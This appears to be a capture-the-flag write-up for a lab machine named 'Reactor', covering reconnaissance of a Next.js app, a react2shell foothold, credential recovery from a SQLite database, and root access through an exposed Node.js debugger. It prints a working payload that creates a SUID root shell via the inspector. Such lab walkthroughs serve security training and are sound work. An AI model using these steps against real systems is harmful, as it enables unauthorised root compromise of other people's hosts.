Reactor
Reactor is a Linux (Ubuntu) box fronted by a Next.js application. A
public react2shell exploit gives the initial foothold; the app’s SQLite
database hands over a real user’s credentials. Privilege escalation is a
textbook Node.js --inspect abuse — a root‑owned worker exposes a debugger
websocket on localhost, and anyone who can reach it can execute arbitrary code
in that root process.
Reconnaissance
Section titled “Reconnaissance”PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)3000/tcp open ppp?| fingerprint-strings:| GetRequest:| HTTP/1.1 200 OK| X-Powered-By: Next.js| Content-Type: text/html; charset=utf-8Just SSH and a web app on port 3000, powered by Next.js.
The web app
Section titled “The web app”HTTP/1.1 200 OKX-Powered-By: Next.jsContent-Type: text/html; charset=utf-8Content-Length: 17175The front end is a static‑looking Next.js site — nothing obviously exploitable by hand, which points at a known framework/exploit rather than a custom bug.
Foothold — react2shell
Section titled “Foothold — react2shell”The react2shell Metasploit module lands a shell on the box. From the
application root, a SQLite database gives up a credential:
engineer:reactor1User — engineer
Section titled “User — engineer”engineer : reactor1 is a valid system account — SSH in for the user flag:
ssh engineer@10.129.1.68Local Enumeration
Section titled “Local Enumeration”linpeas flags the usual kernel CVEs (not needed here) and, more usefully, a
root‑owned Node.js debugger listening on loopback:
CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6CVE-2026-43500 (rxrpc): autoloadable: rxrpcSudo version 1.9.15p5A websocket on port 9229 — the Node.js Inspector protocol — is bound to
localhost and owned by root:
[ { "description": "node.js instance", "id": "b068b6c8-f607-44b5-a667-32964cdfb12b", "title": "/opt/uptime-monitor/worker.js", "type": "node", "url": "file:///opt/uptime-monitor/worker.js", "webSocketDebuggerUrl": "ws://127.0.0.1:9229/b068b6c8-f607-44b5-a667-32964cdfb12b"} ]Privilege Escalation — Node.js --inspect
Section titled “Privilege Escalation — Node.js --inspect”Attach to the root debugger with node inspect and evaluate a payload that
shells out to make a SUID copy of bash:
connecting to 127.0.0.1:9229 ... okdebug> exec("process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')")Uint8Array(0)debug>/tmp/rootbash -p# id → uid=... euid=0(root)# cat /root/root.txtTakeaways
Section titled “Takeaways”- Framework exploits beat manual poking. The static Next.js front end had no
hand‑exploitable bug — the
react2shellmodule was the intended door. - App databases are credential stores.
reactor.dbsitting in the web root handed over the SSH user directly. - Never expose
--inspecton a privileged process. A root Node worker with an open inspector is remote code execution as root for anyone on the host.